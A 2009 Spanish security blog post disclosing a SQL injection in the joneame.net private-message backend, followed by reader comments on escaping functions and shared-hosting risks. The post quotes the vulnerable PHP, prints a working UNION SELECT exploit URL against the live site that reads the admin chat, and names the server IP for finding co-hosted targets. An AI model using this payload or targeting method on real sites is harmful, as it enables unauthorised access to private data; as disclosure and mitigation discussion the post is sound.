Si aprecias tu privacidad, no utilices joneame

Esta es una de esas entradas, que se que me insultarán por haberla escrito, y que, al haberla enviado yo mismo a menéame, me crucificarán por ello, pero mis principios me obligan a publicarlo, por que no estoy de acuerdo con que se compare un servicio profesional como meneame, con uno amateur, como joneame, y mucho menos aún, que solo esté permitido críticar a uno, y al otro no. Así que ahí va :)

Como muchos sabréis, joneame es un clon de meneame, realizado por un joven vasco, el cual además de crear un clon de meneame utilizando el código original, ha hecho ciertas modificaciones, para agregar funcionalidades.

Una de las modificaciones mas interesantes, es la de intercambiar mensajes privados entre usuarios.

Sin embargo, estas modificaciones se han hecho sin preocuparse en absoluto por la seguridad, lo cual ha llevado, a que joneame es extremadamente inseguro.

Ayer auditando el código de joneame, encontré un agujero de seguridad de tipo SQL injection, un agujero tan grave que permite tomar el control del servidor (usando load_file e into outfile), por el cual cualquier usuario puede ser suplantado, y cualquier información en joneame: manipulada.

El agujero está en backend/ezbatu_mezua.php, aquí:

$id = $_REQUEST['mid'];
$nondik = $_REQUEST['mota'];

$mezua = new Mezu;
$mezua->id = $current_user->user_id;
$mezua->jaso_mezua($id, $nondik);

Este fichero lee un mensaje privado dado su id, (el parámetro ‘mid’), sin embargo, el valor recogido vía GET, es pasado a jaso_mezua, sin sanear, y en esa función, se hace:

function jaso_mezua($zein, $nondik) {
global $db;

if ($nondik == ‘inbox’)
$mezu = $db->get_row(“SELECT * FROM mezuak WHERE nori=”.$this->id.” AND id=”.$zein.” LIMIT 1″);

Siendo $zein el parametro ‘mid’ que entró por la URL, sin sanear.

Por lo cual, explotar el bug es tan fácil como enviarnos un mensaje privado desde cualquier usuario, ir a la sección mensajes privados, y hacer click en el mensaje privado recibido, entonces, veremos un enlace tal como:

http://joneame.net/backend/mezuak_ikusi.php?id=ID_DE_TU_USUARIO_AQUI&md5=CLAVE_DE_CONTROL_AQUI&mid=NUMERO_DE_MENSAJE_AQUI&mota=inbox

Entonces, basta con agregar sentencias sql a continuación del número de mensaje, por ejemplo, así:

http://joneame.net/backend/mezuak_ikusi.php?id=ID_DE_TU_USUARIO_AQUI&md5=CLAVE_DE_CONTROL_AQUI&mid=-99%20union%20select%20chat_uid,2,chat_uid,4,chat_text,6,7%20from%20chats%20where%20chat_room%20=%20%27admin%27%20and%20chat_uid%20!=%2041%20and%20chat_uid%20!=%20213%20and%20chat_uid%20!=%2034&mota=outbox&eg=0

Eso serviría para leer la fisgona de administradores que tienen en joneame, sin necesidad de ser administrador.

Además de este bug, otro problema que tiene joneame, es que está instalado en un servidor compartido, por lo que si encontrasen una vulnerabilidad en una web que se hospeado a su lado, podrían espiar tu privacidad en joneame (datos privados de tu cuenta, etc).

Un atacante puede determinar que sites se hospedan junto a joneame, haciendo una petición de dns inversa, sabiendo que la ip de joneame .net es: 87.98.228.106

Utilizando un servicio público de dns inverso:

http://whois.webhosting.info/87.98.228.106

Vemos las páginas hospedadas junto a joneame, que ser comprometidas, lo sería también joneame.

Lo que quiero decir con este post, es que la gente sin conocimientos técnicos, puede verse tentado por joneame, o servicios similares, pero siempre es recomendable utilizar servicios profesionales, que estén en su propio servidor, y que su código esté medianamente controlado y revisado.

Algunos de estos problemas de seguridad ya han sido notificados al dueño de joneame, con quien he hablado vía mail. y me ha confirmado que está al tanto de los problemas de seguridad, otros problemas de seguridad, como lo del hosting compartido son inherentes de la infraestructura de joneame, y no pueden ser solventados, desgraciadamente.

About these ads

27 Responses to “Si aprecias tu privacidad, no utilices joneame”


  1. 1 DaveMD abril 30, 2009 en 11:41 am

    Jcarlosn, con lo inteligente que eres ¿por qué no montas tú una página parecida a meneame u otra cosa que se te ocurra?

    ¿Tienes algún proyecto web?

  2. 2 jcarlosn abril 30, 2009 en 11:45 am

    Si, eyeOS, lo he comentado varias veces en varios artículos.

    Un saludo.

  3. 3 jcarlosn abril 30, 2009 en 11:50 am

    Ya he tenido que borrar varios comentarios insultandome.

    Para el que no lo entienda: a mi meneame me da igual, he publicado mas agujeros de seguridad de meneame que de joneame, ya que de este último, es el primero que público…

    A mi vuestras batallitas con meneame, me importan un pimiento, esto es un blog de informática y seguridad, no toma parte en nada.

  4. 4 Ksswa abril 30, 2009 en 7:55 pm

    Muy buenas:

    Descubrí recientemente tu blog y me parece genial, siempre me han intrigado estos temas, pero en mi carrera ( Teleco ) no se ve casi nada de programación.

    Me gustaría hacerte 2 preguntas respecto a este tema:

    Cuando programo en PHP, al recibir datos desde fuera los meto entre addslashes(); este addslashes servería pa evitar la SQL injection que comentas no? o es necesario algo más?.

    Lo otro es que, me has dejado a medias con lo de servidor compartido, si yo tengo una base de datos en un servidor compartido. mi base de datos no está protegida de mirones ?
    Se que para el tema de tarjetas de créditos y tal es condición necesaria tener servidor privado. Pero de que manera es vulnerable la base de datos. Cualquier enlace al respecto sería de gran interés para mi.

    Gracias y a seguir así!!

    Sugerencia: podrías añadir en siguientes post, la forma de solucionarlo ?

  5. 5 jcarlosn abril 30, 2009 en 8:35 pm

    Hola Ksswa,

    Lo correcto para evitar el sql injection es utilizar http://es2.php.net/mysql_real_escape_string.

    Acerca de lo de la base de datos, el problema reside en que normalmente, el apache corre con el mismo usuario para todos, entonces, el apache necesita permisos de lectura sobre los archivos php que contienen la password de la base de datos (para el mysql_connect), entonces, si yo comprometo un site de terceros, alojado a tu lado, puedo ejecutar un .php que lea tu archivo php, mire el contenido y sacar tus credenciales mysql.

    Un saludo.

  6. 6 vierito5 abril 30, 2009 en 9:46 pm

    La verdad es que no haber saneado esa query tiene huevos.

  7. 7 Ksswa mayo 1, 2009 en 12:01 am

    Gracias por la info, pensaba que addslahes es suficiente, pero por ejemplo http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string, una forma de saltarse esa limitación.
    También he encontrado otras formas de realizar consultas añadidas sin necesidad de comillas ( que es de lo que protege básicamente addslashes ).

    Incluso en el propio php.net te dicen que no uses addslashes cuando trabajes con base de datos, mejor mysql_real_escape_string().

    Bueno, sólo quería escribir un post con la información que he encontrado de forma más uniforme para otros que puedan buscar esto mismo :)

    Una última cosa cuando dices ‘el problema reside en que normalmente, el apache corre con el mismo usuario para todos,’ eso incluye servidores como Dreamhost ? Es que tal como lo cuentas, parece bastante sencillo, por no decir que uno podría crear su propia cuenta en el servidor introducir un sistema vulnerable y sacar la info de otras páginas alojadas en el mismo server compartido…

    Un Saludo.

  8. 8 jcarlosn mayo 1, 2009 en 12:23 am

    Ksswa, si, eso incluye servidores como dreamhost, aunque no conozco su configuración concreta.

    Normalmente, es tan fácil como dices: creas una cuenta, y desde ahí, atacas.

    Este tipo de ataques es uno de los mas típicos en el mundillo underground, para solucionarlo basta con utilizar suPHP o suexec, para que php corra con los permisos del usuario dueño de los ficheros php, y no como ‘apache’ o ‘www-data’ o ‘nobody’ para todos.

    Un saludo!

  9. 9 codigodeamor mayo 1, 2009 en 1:17 am

    Sigue asi y no le tomes inportancia a los malos comentarios. Realmente admiro tu trabajo y tu decicion al publicar este tipo de articulos publicamente.

    Visiten mi blog, actualizado a diario. Poco a poco va mejorando pero necesitamos sus visitas y comentarios.

    http://codigodeamor.wordpress.com/

  10. 10 Ksswa mayo 1, 2009 en 1:42 am

    Gracias de nuevo!

    He estado indagando respecto a Dreamhost y su modalidad compartida, según su wiki:

    Suexec
    From DreamHost
    Jump to: navigation, search

    suexec allows Apache to run CGI programs using a user id other than that of the Apache process. Suexec significantly reduces many of the security risks associated with running CGIs. Suexec is enabled for DreamHost users, and cannot be disabled.

    Dentro de lo que cabe está protegido.
    También les he enviado un ticket al respecto a ver que cuentan.

    hasta otra

  11. 11 Roberto Chávez mayo 1, 2009 en 7:07 am

    Excelente artículo y como lo mencionan arriba, ignorar a los troles xd, saludos.

  12. 12 Deotra mayo 1, 2009 en 8:23 pm

    Hola Juan Carlos

    Primera vez que leo tu blog. El artículo me parece interesante, pero el poner todos los nombres y el “se han comunicado algunos de los fallos”, sinceramente, me parecen ganas de joder a Joneame, y más viendo la historia con Menéame.

    Leo que dices que toda la historia te da igual, y como no te conozco no juzgo (faltaría). Sólo te cuento qué es lo que me parece.

    Por lo demás, majo. Seguiré leyéndote.

  13. 13 ksswa mayo 1, 2009 en 9:38 pm

    Sigo dandole vueltas a este tema…
    Vale es cierto que lo correcto es usar mysql_real_escape_string().

    Pero usando addslashes y dependiendo de la consulta es harto dificil obtener nada no?
    Por ejemplo para esta consulta:
    $query=”select * from usuarios where email=’$email’”;

    Donde $email=addslashes($_POST['email']);

    De que manera rompes la consulta original? tienes que ingeniartelas para construirte un (‘) para escapar del campo email. y hasta donde he encontrado, necesitas tener la base de datos en lenguaje GBK ( en chino literalmente ) para construirte el caracter 0×27 (‘).

    A todo esto suponiendo que te crees ese (‘) artificial, en PHP no puedes concatenar consultas es decir que como como máximo podrías obtener una consulta así:
    $query=”select * from usuarios where email=’$email’ OR 1=1″;

    Pero para la consulta que estamos tratando no obtendrías ningún beneficio ya que luego se recogen los datos por ejemplo así:
    $nombre=$row['nombre'];

    (Vale que para un login si te puede servir, pero esto es si has conseguido fabricar un ‘

    Por cierto encontré esta pedazo de chuleta de SQL injection:

    http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

    Saludos.

  14. 14 jcarlosn mayo 1, 2009 en 10:01 pm

    En realidad, podrías utilizar union select exactamente igual :) has pruebas tu mismo, y lo verás.

    • 15 ksswa mayo 1, 2009 en 10:26 pm

      con la consulta
      select * from usuarios where email=’$email’

      puedes usar UNION SELECT si esta filtrado con addslashes?!!!!

      Fijate si estoy leyendo sobre el tema que he llegado a un post de un tío que putxxx a los de wordpress por usar addslashes para sanear las entradas. ( allá por el 2005 jejejejj )

  15. 16 DZPM mayo 6, 2009 en 2:05 pm

    No has comentado el error de n00b más obvio: ¿¿qué cojones hacen programando en vasco?? xD

  16. 17 izaak agosto 5, 2009 en 5:01 am

    hola..me parece muy interesante .. y creo q sabes mucho..
    me gustaria hacerte un par de consultas.
    quisiera encontrar un agujero en una pagina web en php con base de datos en apache.
    que tipo de detalles tendria q mirar ??

    he mirado el codigo fuente de esa pagina..pero seguro no esta tan facil..

    es un juego online con una pagina principal para login..

    que me sugieres tu?

  17. 18 Reporte octubre 18, 2009 en 11:59 pm

    Sería interesante saber cuántos comentarios has tenido que borrar hasta ahora.

  18. 20 keil enero 21, 2010 en 10:55 am

    Eso de exponer errores esta bien. obliga a soludionarlos si o si.
    Lo que mas me gusta de Euskadi son las vascas.
    Euskadi, un pais dentro de un pais.

    keil ( http://miblogbydefault.blogspot.com/ )

  19. 22 Tyson marzo 8, 2010 en 12:53 pm

    Me sorprendio esta noticia. Eres bueno tio, no te dejes afectar por las cosas de los demas, yo creo que has hecho un buen trabajo. Un saludo!

  20. 23 Nan junio 30, 2013 en 10:25 pm

    Wonderful blog! I found it while browsing on Yahoo News. Do you
    have any suggestions on how to get listed in Yahoo News?
    I’ve been trying for a while but I never seem to get there! Cheers

  21. 24 valeria febrero 20, 2014 en 2:51 pm

    Pues, vi este artículo cuando estaba a punto de ingresar. Gracias por la información.


  1. 1 El despertar « Mis chorradas (lo mejor de Jonéame) Trackback en mayo 2, 2009 en 7:03 pm
  2. 2 Si aprecias tu privacidad, no utilices joneame Trackback en diciembre 27, 2010 en 4:23 pm
  3. 3 La verdadera razón tras las caídas de Jonéame (explicación para tontos inside) « Thacid Trackback en febrero 1, 2011 en 12:38 pm

Deja un comentario

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s





Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

A %d blogueros les gusta esto: